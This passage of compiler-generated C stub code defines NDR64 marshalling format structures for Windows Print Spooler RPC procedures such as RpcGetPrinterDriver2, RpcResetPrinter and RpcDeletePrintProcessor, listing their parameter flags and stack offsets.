0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuffer */      /* parameter cbBuffer */\n        &__midl_frag739,\n        { \n        /* cbBuffer */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pBuffer */      /* parameter pBuffer */\n        &__midl_frag690,\n        { \n        /* pBuffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag683_t __midl_frag683 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 512 /* 0x200 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag682_t __midl_frag682 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag683\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag681_t __midl_frag681 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag682\n};\n\nstatic const __midl_frag677_t __midl_frag677 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag676_t __midl_frag676 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag677\n};\n\nstatic const __midl_frag673_t __midl_frag673 =\n{ \n/* RpcReplyOpenPrinter */\n    { \n    /* RpcReplyOpenPrinter */      /* procedure RpcReplyOpenPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pMachine */      /* parameter pMachine */\n        &__midl_frag1081,\n        { \n        /* pMachine */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* phPrinterNotify */      /* parameter phPrinterNotify */\n        &__midl_frag677,\n        { \n        /* phPrinterNotify */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* dwPrinterRemote */      /* parameter dwPrinterRemote */\n        &__midl_frag1082,\n        { \n        /* dwPrinterRemote */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* dwType */      /* parameter dwType */\n        &__midl_frag1082,\n        { \n        /* dwType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuffer */      /* parameter cbBuffer */\n        &__midl_frag739,\n        { \n        /* cbBuffer */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pBuffer */      /* parameter pBuffer */\n        &__midl_frag681,\n        { \n        /* pBuffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag669_t __midl_frag669 =\n{ \n/* RpcFindClosePrinterChangeNotification */\n    { \n    /* RpcFindClosePrinterChangeNotification */      /* procedure RpcFindClosePrinterChangeNotification */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag668_t __midl_frag668 =\n{ \n/* Opnum55NotUsedOnWire */\n    { \n    /* Opnum55NotUsedOnWire */      /* procedure Opnum55NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag664_t __midl_frag664 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1087\n};\n\nstatic const __midl_frag656_t __midl_frag656 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag655_t __midl_frag655 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag654_t __midl_frag654 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag655\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag653_t __midl_frag653 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag654\n};\n\nstatic const __midl_frag648_t __midl_frag648 =\n{ \n/* RpcGetPrinterDriver2 */\n    { \n    /* RpcGetPrinterDriver2 */      /* procedure RpcGetPrinterDriver2 */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 88 /* 0x58 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 11 /* 0xb */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1080,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriver */      /* parameter pDriver */\n        &__midl_frag653,\n        { \n        /* pDriver */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1087,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1087,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* dwClientMajorVersion */      /* parameter dwClientMajorVersion */\n        &__midl_frag1087,\n        { \n        /* dwClientMajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* dwClientMinorVersion */      /* parameter dwClientMinorVersion */\n        &__midl_frag1087,\n        { \n        /* dwClientMinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMaxVersion */      /* parameter pdwServerMaxVersion */\n        &__midl_frag1087,\n        { \n        /* pdwServerMaxVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMinVersion */      /* parameter pdwServerMinVersion */\n        &__midl_frag1087,\n        { \n        /* pdwServerMinVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag646_t __midl_frag646 =\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag156\n};\n\nstatic const __midl_frag645_t __midl_frag645 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag644_t __midl_frag644 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag645\n};\n\nstatic const __midl_frag642_t __midl_frag642 =\n{ \n/* RpcResetPrinter */\n    { \n    /* RpcResetPrinter */      /* procedure RpcResetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag644,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag626_t __midl_frag626 =\n{ \n/* RpcEnumPrintProcessorDatatypes */\n    { \n    /* RpcEnumPrintProcessorDatatypes */      /* procedure RpcEnumPrintProcessorDatatypes */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1080,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDatatypes */      /* parameter pDatatypes */\n        &__midl_frag653,\n        { \n        /* pDatatypes */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1087,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1087,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1087,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag616_t __midl_frag616 =\n{ \n/* RpcDeletePrintProcessor */\n    { \n    /* RpcDeletePrintProcessor */      /* procedure RpcDeletePrintProcessor */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1080,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 